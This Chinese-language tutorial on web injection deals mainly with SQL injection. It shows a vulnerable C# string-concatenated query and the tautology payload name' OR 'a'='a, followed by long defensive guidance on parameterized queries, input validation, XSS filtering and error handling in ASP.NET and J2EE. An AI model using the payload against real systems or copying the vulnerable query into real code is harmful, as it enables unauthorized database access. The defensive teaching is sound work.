web中各种命令注入的检测和利用二

0x00 前言

         我们都知道在web 中有着各种数据注入攻击,其中有SQL注入、命令注入、XML注入等等。在平时我们渗透测试的任务中,如何快速检测和利用这些注入的漏洞,以下是一些注入命令总结

0x01 SQL 注入

技术描述:该软件使用受外部影响的输入来构造 SQL 命令的全部或一部分,但是它对可能在所需 SQL 命令发送到数据库时修改该命令的特殊元素未正确进行无害化处理。如果在用户可控制的输入中没有对 SQL 语法充分地除去或引用,那么生成的 SQL 查询可能会导致将这些输入解释为 SQL 而不是普通用户数据。这可用于修改查询逻辑以绕过安全性检查,或者插入其他用于修改后端数据库的语句,并可能包括执行系统命令。

例如,假设有一个带有登录表单的 HTML 页面,该页面最终使用用户输入对数据库运行以下 SQL 查询:
  SELECT * FROM accounts WHERE username='$user' AND password='$pass'

两个变量($user 和 $pass)包含了用户在登录表单中输入的用户凭证。因此,如果用户输入“jsmith”作为用户名,并输入“Demo1234”作为密码,那么 SQL 查询将如下所示:
  SELECT * FROM accounts WHERE username='jsmith' AND password='Demo1234'

但如果用户输入“'”(单撇号)作为用户名,输入“'”(单撇号)作为密码,那么 SQL 查询将如下所示:
  SELECT * FROM accounts WHERE username=''' AND password='''
当然,这是格式错误的 SQL 查询,并将调用错误消息,而该错误消息可能会在 HTTP 响应中返回。通过此类错误,攻击者会知道 SQL 注入已成功,这样攻击者就会尝试进一步的攻击媒介。

利用的样本:
以下 C# 代码会动态构造并执行 SQL 查询来搜索与指定名称匹配的项。该查询将所显示的项限制为其所有者与当前已认证用户的用户名相匹配的项。
  ...
  string userName = ctx.getAuthenticatedUserName();
  string query = "SELECT * FROM items WHERE owner = "'" 
  + userName + "' AND itemname = '"  
  + ItemName.Text + "'";
  sda = new SqlDataAdapter(query, conn);
  DataTable dt = new DataTable();
  sda.Fill(dt);
  ...
此代码打算执行的查询如下所示:
  SELECT * FROM items WHERE owner =  AND itemname = ;

但是,由于该查询是通过并置常量基本查询字符串和用户输入字符串来动态构造的,因此仅当 itemName 不包含单引号字符时,该查询才会正确运行。如果用户名为 wiley 的攻击者针对 itemName 输入字符串“name' OR 'a'='a”,那么查询将变为以下内容:
  SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';

添加 OR 'a'='a' 条件导致 where 子句始终求值为 true,因此该查询在逻辑上将变为等价于以下更简单的查询:
  SELECT * FROM items;

威胁影响:可能会查看、修改或删除数据库条目和表
产生原因:未对用户输入正确执行危险字符清理
缓解修复:

[1] 策略:库或框架

使用不允许此弱点出现的经过审核的库或框架,或提供更容易避免此弱点的构造。

[2] 策略:参数化

如果可用,使用自动实施数据和代码之间的分离的结构化机制。这些机制也许能够自动提供相关引用、编码和验证,而不是依赖于开发者在生成输出的每一处提供此能力。


[3] 策略:环境固化

使用完成必要任务所需的最低特权来运行代码。

[4] 策略:输出编码

如果在有风险的情况下仍需要使用动态生成的查询字符串或命令,请对参数正确地加引号并将这些参数中的任何特殊字符转义。


[5] 策略:输入验证假定所有输入都是恶意的。使用“接受已知善意”输入验证策略:严格遵守规范的可接受输入的白名单。拒绝任何没有严格遵守规范的输入,或者将其转换为遵守规范的内容。不要完全依赖于将恶意或格式错误的输入加入黑名单。但是,黑名单可帮助检测潜在攻击,或者确定哪些输入格式不正确,以致应当将其彻底拒绝。


Asp.Net

以下是保护 Web 应用程序免遭 SQL 注入攻击的两种可行方法:


[1] 使用存储过程,而不用动态构建的 SQL 查询字符串。 将参数传递给 SQL Server 存储过程的方式,可防止使用单引号和连字符。


以下是如何在 ASP.NET 中使用存储过程的简单示例:


  ' Visual Basic example
  Dim DS As DataSet
  Dim MyConnection As SqlConnection
  Dim MyCommand As SqlDataAdapter
  
  Dim SelectCommand As String = "select * from users where username = @username"
  ...
  MyCommand.SelectCommand.Parameters.Add(New SqlParameter("@username", SqlDbType.NVarChar, 20))
  MyCommand.SelectCommand.Parameters("@username").Value = UserNameField.Value
  
  
  // C# example
  String selectCmd = "select * from Authors where state = @username";
  SqlConnection myConnection = new SqlConnection("server=...");
  SqlDataAdapter myCommand = new SqlDataAdapter(selectCmd, myConnection);
  
  myCommand.SelectCommand.Parameters.Add(new SqlParameter("@username", SqlDbType.NVarChar, 20));
  myCommand.SelectCommand.Parameters["@username"].Value = UserNameField.Value;

[2] 您可以使用验证控件,将输入验证添加到“Web 表单”页面。 验证控件提供适用于所有常见类型的标准验证的易用机制 - 例如,测试验证日期是否有效,或验证值是否在范围内 - 以及进行定制编写验证的方法。此外,验证控件还使您能够完整定制向用户显示错误信息的方式。验证控件可搭配“Web 表单”页面的类文件中处理的任何控件使用,其中包括 HTML 和 Web 服务器控件。

为了确保用户输入仅包含有效值,您可以使用以下其中一种验证控件:

a. “RangeValidator”:检查用户条目(值)是否在指定的上下界限之间。 您可以检查配对数字、字母字符和日期内的范围。

b. “RegularExpressionValidator”:检查条目是否与正则表达式定义的模式相匹配。 此类型的验证使您能够检查可预见的字符序列,如社会保险号码、电子邮件地址、电话号码、邮政编码等中的字符序列。

重要注意事项:验证控件不会阻止用户输入或更改页面处理流程;它们只会设置错误状态,并产生错误消息。程序员的职责是,在执行进一步的应用程序特定操作前,测试代码中控件的状态。

有两种方法可检查用户输入的有效性:

1. 测试常规错误状态:

在您的代码中,测试页面的 IsValid 属性。该属性会将页面上所有验证控件的 IsValid 属性值汇总(使用逻辑 AND)。如果将其中一个验证控件设置为无效,那么页面属性将会返回 false。

2. 测试个别控件的错误状态:

在页面的“验证器”集合中循环,该集合包含对所有验证控件的引用。然后,您就可以检查每个验证控件的 IsValid 属性。


J2EE

** 预编译语句:


以下是保护应用程序免遭 SQL 注入(即恶意篡改 SQL 参数)的三种可行方法。 使用以下方法,而非动态构建 SQL 语句:


[1] PreparedStatement,通过预编译并且存储在 PreparedStatement 对象池中。 PreparedStatement 定义 setter 方法,以注册与受支持的 JDBC SQL 数据类型兼容的输入参数。 例如,setString 应该用于 VARCHAR 或 LONGVARCHAR 类型的输入参数(请参阅 Java API,以获取进一步的详细信息)。 通过这种方法来设置输入参数,可防止攻击者通过注入错误字符(如单引号)来操纵 SQL 语句。


如何在 J2EE 中使用 PreparedStatement 的示例:


  // J2EE PreparedStatemenet Example
  // Get a connection to the database
  Connection myConnection;
  if (isDataSourceEnabled()) {
      // using the DataSource to get a managed connection
      Context ctx = new InitialContext();
      myConnection = ((DataSource)ctx.lookup(datasourceName)).getConnection(dbUserName, dbPassword);
  } else {
      try {
          // using the DriverManager to get a JDBC connection
          Class.forName(jdbcDriverClassPath);
          myConnection = DriverManager.getConnection(jdbcURL, dbUserName, dbPassword);
      } catch (ClassNotFoundException e) {
          ...
      }
  }
  ...
  try {
      PreparedStatement myStatement = myConnection.prepareStatement("select * from users where username = ?");
      myStatement.setString(1, userNameField);
      ResultSet rs = myStatement.executeQuery();
      ...
      rs.close();
  } catch (SQLException sqlException) {
      ...
  } finally {
      myStatement.close();
      myConnection.close();
  }

[2] CallableStatement,扩展 PreparedStatement 以执行数据库 SQL 存储过程。 该类继承 PreparedStatement 的输入 setter 方法(请参阅上面的 [1])。


以下示例假定已创建该数据库存储过程:


CREATE PROCEDURE select_user (@username varchar(20))

AS SELECT * FROM USERS WHERE USERNAME = @username;


如何在 J2EE 中使用 CallableStatement 以执行以上存储过程的示例:


  // J2EE PreparedStatemenet Example
  // Get a connection to the database
  Connection myConnection;
  if (isDataSourceEnabled()) {
      // using the DataSource to get a managed connection
      Context ctx = new InitialContext();
      myConnection = ((DataSource)ctx.lookup(datasourceName)).getConnection(dbUserName, dbPassword);
  } else {
      try {
          // using the DriverManager to get a JDBC connection
          Class.forName(jdbcDriverClassPath);
          myConnection = DriverManager.getConnection(jdbcURL, dbUserName, dbPassword);
      } catch (ClassNotFoundException e) {
          ...
      }
  }
  ...
  try {
      PreparedStatement myStatement = myConnection.prepareCall("{?= call select_user ?,?}");
      myStatement.setString(1, userNameField);
      myStatement.registerOutParameter(1, Types.VARCHAR);
      ResultSet rs = myStatement.executeQuery();
      ...
      rs.close();
  } catch (SQLException sqlException) {
      ...
  } finally {
      myStatement.close();
      myConnection.close();
  }

[3] 实体 Bean,代表持久存储机制中的 EJB 业务对象。 实体 Bean 有两种类型:bean 管理和容器管理。 当使用 bean 管理的持久性时,开发者负责撰写访问数据库的 SQL 代码(请参阅以上的 [1] 和 [2] 部分)。 当使用容器管理的持久性时,EJB 容器会自动生成 SQL 代码。 因此,容器要负责防止恶意尝试篡改生成的 SQL 代码。


如何在 J2EE 中使用实体 Bean 的示例:


  // J2EE EJB Example
  try {
      // lookup the User home interface
      UserHome userHome = (UserHome)context.lookup(User.class);    
      // find the User remote interface
      User = userHome.findByPrimaryKey(new UserKey(userNameField));    
      ...    
  } catch (Exception e) {
      ...
  }

推荐使用的 JAVA 工具

不适用


参考资料

http://java.sun.com/j2se/1.4.1/docs/api/java/sql/PreparedStatement.html

http://java.sun.com/j2se/1.4.1/docs/api/java/sql/CallableStatement.html

** 输入数据验证:虽然为方便用户而在客户端层上提供数据验证,但仍必须使用 Servlet 在服务器层上执行数据验证。客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。

一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容:[1] 必需字段[2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是“字符串”)[3] 字段长度[4] 字段范围[5] 字段选项[6] 字段模式[7] cookie 值[8] HTTP 响应好的做法是将以上例程作为“验证器”实用程序类中的静态方法实现。以下部分描述验证器类的一个示例。

[1] 必需字段“始终”检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。


如何验证必需字段的示例:

  // Java example to validate required fields
  public Class Validator {
      ...
      public static boolean validateRequired(String value) {
          boolean isFieldValid = false;
          if (value != null && value.trim().length() > 0) {
              isFieldValid = true;
          }
          return isFieldValid;
      }
      ...
  }
  ...
  String fieldValue = request.getParameter("fieldName");
  if (Validator.validateRequired(fieldValue)) {
      // fieldValue is valid, continue processing request
      ...
  }

[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是“字符串”。开发者负责验证输入的数据类型是否正确。使用 Java 基本包装程序类,来检查是否可将字段值安全地转换为所需的基本数据类型。

验证数字字段(int 类型)的方式的示例:

  // Java example to validate that a field is an int number
  public Class Validator {
      ...
      public static boolean validateInt(String value) {
          boolean isFieldValid = false;
          try {
              Integer.parseInt(value);
              isFieldValid = true;
          } catch (Exception e) {
              isFieldValid = false;
          }
          return isFieldValid;
      }
      ...
  }
  ...
  // check if the HTTP request parameter is of type int
  String fieldValue = request.getParameter("fieldName");
  if (Validator.validateInt(fieldValue)) {
      // fieldValue is valid, continue processing request
      ...
  }

好的做法是将所有 HTTP 请求参数转换为其各自的数据类型。例如,开发者应将请求参数的“integerValue”存储在请求属性中,并按以下示例所示来使用:

  // Example to convert the HTTP request parameter to a primitive wrapper data type
  // and store this value in a request attribute for further processing
  String fieldValue = request.getParameter("fieldName");
  if (Validator.validateInt(fieldValue)) {
      // convert fieldValue to an Integer
      Integer integerValue = Integer.getInteger(fieldValue);
      // store integerValue in a request attribute
      request.setAttribute("fieldName", integerValue);
  }
  ...
  // Use the request attribute for further processing
  Integer integerValue = (Integer)request.getAttribute("fieldName");
  ...

应用程序应处理的主要 Java 数据类型:

- Byte

- Short

- Integer

- Long

- Float

- Double

- Date


[3] 字段长度“始终”确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。以下示例验证 userName 字段的长度是否在 8 至 20 个字符之间:

  // Example to validate the field length
  public Class Validator {
      ...
      public static boolean validateLength(String value, int minLength, int maxLength) {
          String validatedValue = value;
          if (!validateRequired(value)) {
              validatedValue = "";
          }
          return (validatedValue.length() >= minLength &&
                      validatedValue.length() <= maxLength);
      }
      ...
  }
  ...
  String userName = request.getParameter("userName");
  if (Validator.validateRequired(userName)) {
      if (Validator.validateLength(userName, 8, 20)) {
          // userName is valid, continue further processing
          ...
      }
  }

[4] 字段范围

始终确保输入参数是在由功能需求定义的范围内。

以下示例验证输入 numberOfChoices 是否在 10 至 20 之间:

  // Example to validate the field range
  public Class Validator {
      ...
      public static boolean validateRange(int value, int min, int max) {
          return (value >= min && value <= max);
      }
      ...
  }
  ...
  String fieldValue = request.getParameter("numberOfChoices");
  if (Validator.validateRequired(fieldValue)) {
      if (Validator.validateInt(fieldValue)) {
          int numberOfChoices = Integer.parseInt(fieldValue);
          if (Validator.validateRange(numberOfChoices, 10, 20)) {
              // numberOfChoices is valid, continue processing request
              ...
          }
      }
  }

[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。以下示例验证用户针对允许的选项列表进行的选择:

  // Example to validate user selection against a list of options
  public Class Validator {
      ...
      public static boolean validateOption(Object[] options, Object value) {
          boolean isValidValue = false;
          try {
              List list = Arrays.asList(options);
              if (list != null) {
                  isValidValue = list.contains(value);
              }
          } catch (Exception e) {
          }
          return isValidValue;
      }
      ...
  }
  ...
  // Allowed options
  String[] options = {"option1", "option2", "option3");
  // Verify that the user selection is one of the allowed options
  String userSelection = request.getParameter("userSelection");
  if (Validator.validateOption(options, userSelection)) {
      // valid user selection, continue processing request
      ...
  }

[6] 字段模式

始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式:^[a-zA-Z0-9]*$


Java 1.3 或更早的版本不包含任何正则表达式包。建议将“Apache 正则表达式包”(请参阅以下“资源”)与 Java 1.3 一起使用,以解决该缺乏支持的问题。执行正则表达式验证的示例:

  // Example to validate that a given value matches a specified pattern
  // using the Apache regular expression package
  import org.apache.regexp.RE;
  import org.apache.regexp.RESyntaxException;
  public Class Validator {
      ...
      public static boolean matchPattern(String value, String expression) {
          boolean match = false;
          if (validateRequired(expression)) {
               RE r = new RE(expression);
               match = r.match(value);             
          }
          return match;
      }
      ...
  }
  ...
  // Verify that the userName request parameter is alpha-numeric
  String userName = request.getParameter("userName");
  if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
      // userName is valid, continue processing request
      ...
  }

Java 1.4 引进了一种新的正则表达式包(java.util.regex)。以下是使用新的 Java 1.4 正则表达式包的 Validator.matchPattern 修订版:

  // Example to validate that a given value matches a specified pattern
  // using the Java 1.4 regular expression package
  import java.util.regex.Pattern;
  import java.util.regexe.Matcher;
  public Class Validator {
      ...
      public static boolean matchPattern(String value, String expression) {
          boolean match = false;
          if (validateRequired(expression)) {
              match = Pattern.matches(expression, value);
          }
          return match;
      }
      ...
  }

[7] cookie 值使用 javax.servlet.http.Cookie 对象来验证 cookie 值。适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。

验证必需 cookie 值的示例:

  // Example to validate a required cookie value
  // First retrieve all available cookies submitted in the HTTP request
  Cookie[] cookies = request.getCookies();
  if (cookies != null) {
      // find the "user" cookie
      for (int i=0; i<cookies.length; ++i) {
          if (cookies[i].getName().equals("user")) {
              // validate the cookie value
              if (Validator.validateRequired(cookies[i].getValue()) {
                  // valid cookie value, continue processing request
                  ...
              }
          }    
      }
  }

[8] HTTP 响应

[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,请通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符:< > " ' % ; ) ( & +


以下示例通过将敏感字符转换为其对应的字符实体来过滤指定字符串:

  // Example to filter sensitive data to prevent cross-site scripting
  public Class Validator {
      ...
      public static String filter(String value) {
          if (value == null) {
              return null;
          }        
          StringBuffer result = new StringBuffer(value.length());
          for (int i=0; i<value.length(); ++i) {
              switch (value.charAt(i)) {
              case '<':
                  result.append("&lt;");
                  break;
              case '>': 
                  result.append("&gt;");
                  break;
              case '"': 
                  result.append("&quot;");
                  break;
              case '\'': 
                  result.append("&#39;");
                  break;
              case '%': 
                  result.append("&#37;");
                  break;
              case ';': 
                  result.append("&#59;");
                  break;
              case '(': 
                  result.append("&#40;");
                  break;
              case ')': 
                  result.append("&#41;");
                  break;
              case '&': 
                  result.append("&amp;");
                  break;
              case '+':
                  result.append("&#43;");
                  break;
              default:
                  result.append(value.charAt(i));
                  break;
          }        
          return result;
      }
      ...
  }
  ...
  // Filter the HTTP response using Validator.filter
  PrintWriter out = response.getWriter();
  // set output response
  out.write(Validator.filter(response));
  out.close();

Java Servlet API 2.3 引进了“过滤器”,它支持拦截和转换 HTTP 请求或响应。

以下示例使用 Validator.filter 来用“Servlet 过滤器”清理响应:

  // Example to filter all sensitive characters in the HTTP response using a Java Filter.
  // This example is for illustration purposes since it will filter all content in the response, including HTML tags!
  public class SensitiveCharsFilter implements Filter {
      ...
      public void doFilter(ServletRequest request,
                      ServletResponse response,
                      FilterChain chain)
              throws IOException, ServletException {
  
          PrintWriter out = response.getWriter();
          ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
          chain.doFilter(request, wrapper);
  
          CharArrayWriter caw = new CharArrayWriter();
          caw.write(Validator.filter(wrapper.toString()));
          
          response.setContentType("text/html");
          response.setContentLength(caw.toString().length());
          out.write(caw.toString());
          out.close();
      }
      ...
      public class CharResponseWrapper extends HttpServletResponseWrapper {
          private CharArrayWriter output;
  
          public String toString() {
              return output.toString();
          }
      
          public CharResponseWrapper(HttpServletResponse response){
              super(response);
              output = new CharArrayWriter();
          }
          
          public PrintWriter getWriter(){
              return new PrintWriter(output);
          }
      }
  } 
  
  }

[8-2] 保护 cookie

在 cookie 中存储敏感数据时,确保使用 Cookie.setSecure(布尔标志)在 HTTP 响应中设置 cookie 的安全标志,以指导浏览器使用安全协议(如 HTTPS 或 SSL)发送 cookie。

保护“用户”cookie 的示例:

  // Example to secure a cookie, i.e. instruct the browser to
  // send the cookie using a secure protocol
  Cookie cookie = new Cookie("user", "sensitive");
  cookie.setSecure(true);
  response.addCookie(cookie);

推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:

[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator 实施所有以上数据验证需求,是强大的框架。这些规则配置在定义表单字段的输入验证规则的 XML 文件中。在缺省情况下,Struts 支持在使用 Struts“bean:write”标记撰写的所有数据上,过滤 [8] HTTP 响应中输出的危险字符。可通过设置“filter=false”标志来禁用该过滤。

Struts 定义以下基本输入验证器,但也可定义定制的验证器:

required:如果字段包含空格以外的任何字符,便告成功。

mask:如果值与掩码属性给定的正则表达式相匹配,便告成功。

range:如果值在 min 和 max 属性给定的值的范围内((value >= min) & (value <= max)),便告成功。

maxLength:如果字段长度小于或等于 max 属性,便告成功。

minLength:如果字段长度大于或等于 min 属性,便告成功。

byte、short、integer、long、float、double:如果可将值转换为对应的基本类型,便告成功。

date:如果值代表有效日期,便告成功。可能会提供日期模式。

creditCard:如果值可以是有效的信用卡号码,便告成功。

e-mail:如果值可以是有效的电子邮件地址,便告成功。

使用“Struts 验证器”来验证 loginForm 的 userName 字段的示例:

  <form-validation>
      <global>
          ...
          <validator name="required"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateRequired"
              msg="errors.required">
          </validator>
          <validator name="mask"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateMask"
              msg="errors.invalid">
          </validator>
          ...
      </global>
      <formset>
          <form name="loginForm">
              <!-- userName is required and is alpha-numeric case insensitive -->
              <field property="userName" depends="required,mask">
                  <!-- message resource key to display if validation fails -->
                  <msg name="mask" key="login.userName.maskmsg"/>
                  <arg0 key="login.userName.displayname"/>
                  <var>
                      <var-name>mask</var-name>
                      <var-value>^[a-zA-Z0-9]*$</var-value>
                  </var>
              </field>
          ...
          </form>
          ...
      </formset>
  </form-validation>

[2] JavaServer Faces 技术

“JavaServer Faces 技术”是一组代表 UI 组件、管理组件状态、处理事件和输入验证的 Java API(JSR 127)。

JavaServer Faces API 实现以下基本验证器,但可定义定制的验证器: validate_doublerange:在组件上注册 DoubleRangeValidator

validate_length:在组件上注册 LengthValidator

validate_longrange:在组件上注册 LongRangeValidator

validate_required:在组件上注册 RequiredValidator

validate_stringrange:在组件上注册 StringRangeValidator

validator:在组件上注册定制的 Validator


JavaServer Faces API 定义以下 UIInput 和 UIOutput 处理器(标记):

input_date:接受以 java.text.Date 实例格式化的 java.util.Date

output_date:显示以 java.text.Date 实例格式化的 java.util.Date

input_datetime:接受以 java.text.DateTime 实例格式化的 java.util.Date

output_datetime:显示以 java.text.DateTime 实例格式化的 java.util.Date

input_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)

output_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)

input_text:接受单行文本字符串。

output_text:显示单行文本字符串。

input_time:接受以 java.text.DateFormat 时间实例格式化的 java.util.Date

output_time:显示以 java.text.DateFormat 时间实例格式化的 java.util.Date

input_hidden:允许页面作者在页面中包括隐藏变量

input_secret:接受不含空格的单行文本,并在输入时,将其显示为一组星号

input_textarea:接受多行文本

output_errors:显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息

output_label:将嵌套的组件显示为指定输入字段的标签

output_message:显示本地化消息


使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:

  <%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
  <%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
  ...
  <jsp:useBean id="UserBean"
      class="myApplication.UserBean" scope="session" />
  <f:use_faces>
    <h:form formName="loginForm" >
      <h:input_text id="userName" size="20" modelReference="UserBean.userName">
          <f:validate_required/>
          <f:validate_length minimum="8" maximum="20"/>    
      </h:input_text>
      <!-- display errors if present -->
      <h:output_errors id="loginErrors" clientId="userName"/>
      <h:command_button id="submit" label="Submit" commandName="submit" /><p>
    </h:form>
  </f:use_faces>


引用

Java API 1.3 -

http://java.sun.com/j2se/1.3/docs/api/

Java API 1.4 -

http://java.sun.com/j2se/1.4/docs/api/

Java Servlet API 2.3 -

http://java.sun.com/products/servlet/2.3/javadoc/

Java 正则表达式包 -

http://jakarta.apache.org/regexp/

Jakarta 验证器 -

http://jakarta.apache.org/commons/validator/

JavaServer Faces 技术 -

http://java.sun.com/j2ee/javaserverfaces/

** 错误处理:

许多 J2EE Web 应用程序体系结构都遵循“模型视图控制器(MVC)”模式。在该模式中,Servlet 扮演“控制器”的角色。Servlet 将应用程序处理委派给 EJB 会话 Bean(模型)之类的 JavaBean。然后,Servlet 再将请求转发给 JSP(视图),以呈现处理结果。Servlet 应检查所有的输入、输出、返回码、错误代码和已知的异常,以确保实际处理按预期进行。

数据验证可保护应用程序免遭恶意数据篡改,而有效的错误处理策略则是防止应用程序意外泄露内部错误消息(如异常堆栈跟踪)所不可或缺的。好的错误处理策略会处理以下项:

[1] 定义错误

[2] 报告错误

[3] 呈现错误

[4] 错误映射

[1] 定义错误

应避免在应用程序层(如 Servlet)中硬编码错误消息。 相反地,应用程序应该使用映射到已知应用程序故障的错误密钥。好的做法是定义错误密钥,且该错误密钥映射到 HTML 表单字段或其他 Bean 属性的验证规则。例如,如果需要“user_name”字段,其内容为字母数字,并且必须在数据库中是唯一的,那么就应定义以下错误密钥:

(a) ERROR_USERNAME_REQUIRED:该错误密钥用于显示消息,以通知用户需要“user_name”字段;

(b) ERROR_USERNAME_ALPHANUMERIC:该错误密钥用于显示消息,以通知用户“user_name”字段应该是字母数字;

(c) ERROR_USERNAME_DUPLICATE:该错误密钥用于显示消息,以通知用户“user_name”值在数据库中重复;

(d) ERROR_USERNAME_INVALID:该错误密钥用于显示一般消息,以通知用户“user_name”值无效;

好的做法是定义用于存储和报告应用程序错误的以下框架 Java 类:

- ErrorKeys:定义所有错误密钥

      // Example: ErrorKeys defining the following error keys:    
      //    - ERROR_USERNAME_REQUIRED
      //    - ERROR_USERNAME_ALPHANUMERIC
      //    - ERROR_USERNAME_DUPLICATE
      //    - ERROR_USERNAME_INVALID
      //    ...
      public Class ErrorKeys {
          public static final String ERROR_USERNAME_REQUIRED = "error.username.required";
          public static final String ERROR_USERNAME_ALPHANUMERIC = "error.username.alphanumeric";
          public static final String ERROR_USERNAME_DUPLICATE = "error.username.duplicate";
          public static final String ERROR_USERNAME_INVALID = "error.username.invalid";
          ...
      }

- Error:封装个别错误


      // Example: Error encapsulates an error key.
      // Error is serializable to support code executing in multiple JVMs.
      public Class Error implements Serializable {
          
          // Constructor given a specified error key
          public Error(String key) {
              this(key, null);
          }
          
          // Constructor given a specified error key and array of placeholder objects
          public Error(String key, Object[] values) {
              this.key = key;
              this.values = values;
          }
          
          // Returns the error key
          public String getKey() {
              return this.key;
          }
          
          // Returns the placeholder values
          public Object[] getValues() {
              return this.values;
          }
          
          private String key = null;
          private Object[] values = null;
      }    

- Errors:封装错误的集合


      // Example: Errors encapsulates the Error objects being reported to the presentation layer.
      // Errors are stored in a HashMap where the key is the bean property name and value is an
      // ArrayList of Error objects.
      public Class Errors implements Serializable {
      
          // Adds an Error object to the Collection of errors for the specified bean property.
          public void addError(String property, Error error) {
              ArrayList propertyErrors = (ArrayList)errors.get(property);
              if (propertyErrors == null) {
                  propertyErrors = new ArrayList();
                  errors.put(property, propertyErrors);
              }
              propertyErrors.put(error);            
          }
          
          // Returns true if there are any errors
          public boolean hasErrors() {
              return (errors.size > 0);
          }
          
          // Returns the Errors for the specified property
          public ArrayList getErrors(String property) {
              return (ArrayList)errors.get(property);
          }
  
          private HashMap errors = new HashMap();
      }

以下是使用上述框架类来处理“user_name”字段验证错误的示例:

  // Example to process validation errors of the "user_name" field.
  Errors errors = new Errors();
  String userName = request.getParameter("user_name");
  // (a) Required validation rule
  if (!Validator.validateRequired(userName)) {
      errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_REQUIRED));
  } // (b) Alpha-numeric validation rule
  else if (!Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
      errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_ALPHANUMERIC));
  }
  else
  {
      // (c) Duplicate check validation rule
      // We assume that there is an existing UserValidationEJB session bean that implements
      // a checkIfDuplicate() method to verify if the user already exists in the database.
      try {
          ...        
          if (UserValidationEJB.checkIfDuplicate(userName)) {
              errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE));
          }
      } catch (RemoteException e) {
          // log the error
          logger.error("Could not validate user for specified userName: " + userName);
          errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE);
      }
  }
  // set the errors object in a request attribute called "errors"
  request.setAttribute("errors", errors);
  ...

[2] 报告错误

有两种方法可报告 web 层应用程序错误:

(a) Servlet 错误机制

(b) JSP 错误机制


[2-a] Servlet 错误机制

Servlet 可通过以下方式报告错误:

- 转发给输入 JSP(已将错误存储在请求属性中),或

- 使用 HTTP 错误代码参数来调用 response.sendError,或

- 抛出异常


好的做法是处理所有已知应用程序错误(如 [1] 部分所述),将这些错误存储在请求属性中,然后转发给输入 JSP。输入 JSP 应显示错误消息,并提示用户重新输入数据。以下示例阐明转发给输入 JSP(userInput.jsp)的方式:

  // Example to forward to the userInput.jsp following user validation errors
  RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
  if (rd != null) {
      rd.forward(request, response);
  }

如果 Servlet 无法转发给已知的 JSP 页面,那么第二个选项是使用 response.sendError 方法,将 HttpServletResponse.SC_INTERNAL_SERVER_ERROR(状态码 500)作为参数,来报告错误。请参阅 javax.servlet.http.HttpServletResponse 的 Javadoc,以获取有关各种 HTTP 状态码的更多详细信息。返回 HTTP 错误的示例:

  // Example to return a HTTP error code
  RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
  if (rd == null) {
      // messages is a resource bundle with all message keys and values
      response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR,
                              messages.getMessage(ErrorKeys.ERROR_USERNAME_INVALID));
  }

作为最后的手段,Servlet 可以抛出异常,且该异常必须是以下其中一类的子类: - RuntimeException - ServletException - IOException

[2-b] JSP 错误机制

JSP 页面通过定义 errorPage 伪指令来提供机制,以处理运行时异常,如以下示例所示:

      <%@ page errorPage="/errors/userValidation.jsp" %>

未捕获的 JSP 异常被转发给指定的 errorPage,并且原始异常设置在名称为 javax.servlet.jsp.jspException 的请求参数中。错误页面必须包括 isErrorPage 伪指令,如下所示:

      <%@ page isErrorPage="true" %>

isErrorPage 伪指令导致“exception”变量初始化为所抛出的异常对象。

[3] 呈现错误

J2SE Internationalization API 提供使应用程序资源外部化以及将消息格式化的实用程序类,其中包括:

(a) 资源束

(b) 消息格式化

[3-a] 资源束

资源束通过将本地化数据从使用该数据的源代码中分离来支持国际化。每一资源束都会为特定的语言环境存储键/值对的映射。

java.util.PropertyResourceBundle 将内容存储在外部属性文件中,对其进行使用或扩展都很常见,如以下示例所示:

  ################################################
  # ErrorMessages.properties
  ################################################
  # required user name error message
  error.username.required=User name field is required
  
  # invalid user name format
  error.username.alphanumeric=User name must be alphanumeric
  
  # duplicate user name error message
  error.username.duplicate=User name {0} already exists, please choose another one
  
  ...

可定义多种资源,以支持不同的语言环境(因此名为资源束)。例如,可定义 ErrorMessages_fr.properties 以支持该束系列的法语成员。如果请求的语言环境的资源成员不存在,那么会使用缺省成员。在以上示例中,缺省资源是 ErrorMessages.properties。应用程序(JSP 或 Servlet)会根据用户的语言环境从适当的资源检索内容。

[3-b] 消息格式化

J2SE 标准类 java.util.MessageFormat 提供使用替换占位符来创建消息的常规方法。MessageFormat 对象包含嵌入了格式说明符的模式字符串,如下所示:

  // Example to show how to format a message using placeholder parameters
  String pattern = "User name {0} already exists, please choose another one";
  String userName = request.getParameter("user_name");
